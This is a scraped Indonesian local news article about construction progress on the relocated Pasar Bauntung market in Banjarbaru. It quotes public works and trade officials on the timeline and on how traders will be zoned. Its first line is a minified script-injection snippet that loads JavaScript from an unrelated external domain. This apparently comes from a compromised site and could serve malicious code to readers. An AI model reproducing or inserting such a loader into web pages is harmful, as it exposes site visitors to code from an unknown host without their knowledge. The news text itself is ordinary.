(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pembangunan Pasar Bauntung Banjarbaru ke lokasi baru di jalan RO Ulin eks stadion sepak bola kini sudah mencapai 67,34 persen.
Bangunan anyar tersebut pengganti alias relokasi pasar Bauntung Banjarbaru yang saat ini jauh dari kata layak, kumuh dan tidak ideal lantaran berada di pusat kota.
Capaian progres tersebut, kata Kepala Bidang Cipta Karya Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Banjarbaru Abdussamad, telah melampaui dari target perencanaan.
“Di minggu ke-37 sejak dimulainya pembangunan pasar, kita menargetkan progres mencapai 56 persen. Tapi ternyata sudah mencapai 67,34 persen, berarti unggul sekitar 10 persen,” kata Abdussamad, Selasa (25/8/2020) siang.
Kanalkalimantan.com berkesempatan memantau lokasi proyek seluas 3,9 hektare itu. Di lokasi pembangunan, terlihat bagian rangka atap bangunan induk Pasar Bauntung sudah seluruhnya terpasang. Kini, para petugas tengah melakukan pemasangan atap bangunan (topping off).
“Target kita awal September nanti, pengerjaan topping off ini sudah masuk tahap finishing,” lanjut Samad -sapaan akrabnya.
Apabila bagian atap telah selesai, maka pengerjaan akan dilanjutkan ke bagian lantai gedung. Itupun, menurut Samad, pengerjaannya tak akan membutuhkan waktu lama dan jika sudah rampung, maka pembangunan Pasar Bauntung telah masuk tahap akhir.
“Kalau udah tahap finishing itu, tinggal dilakukan penyesuaian listrik dan air saja. Memang membutuhkan waktu, tapi kita optimis semuanya selesai sebelum habisnya masa kontrak yakni 29 Desember mendatang,” pungkasnya.
Sebagaimana diketahui, pembangunan Pasar Bauntung yang baru ini merupakan salah satu misi Pemerintah Kota Banjarbaru untuk membangun pasar rakyat yang dikelola secara modern. Pemko berencana untuk membangun Pasar Bauntung menjadi lebih modern di tempat baru yang lebih luas.
Pasar Bauntung yang saat ini masih beroperasi, terletak di tengah kota dan dinilai tak lagi mampu menampung perkembangan pedagang, khususnya pedagang kaki lima (PKL). Sehingga banyak pedagang yang berjualan di jalan. Hal ini menyebabkan ruas jalan yang sebetulnya merupakan jalan akses menjadi tertutup dan tidak dapat dilewati kendaraan.
Seiring dengan berlangsungnya pembangunan saat ini, ada sekitar ribuan pedagang yang akan direlokasi ke Pasar Bauntung baru di eks stadion tersebut. Dalam hal ini, Dinas Perdagangan Banjarbaru telah melakukan pendataan terhadap para pedagang lainnya dengan mengelompokan sesuai dengan apa yang dijual. Sehingga, nantinya akan menentukan zonasi dagangan sesuai dengan design di Pasar Bauntung yang baru.
“Kita susun dan kelompokan para pedagangnya. Setelah format penyusunannya siap, baru kita lempar ke warga. Memang pasti ada komplain, cuma perlu waktu penyampaian dan penyesuaian,” kata Kepala Dinas Perdagangan Kota Banjarbaru Abdul Basit. (kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.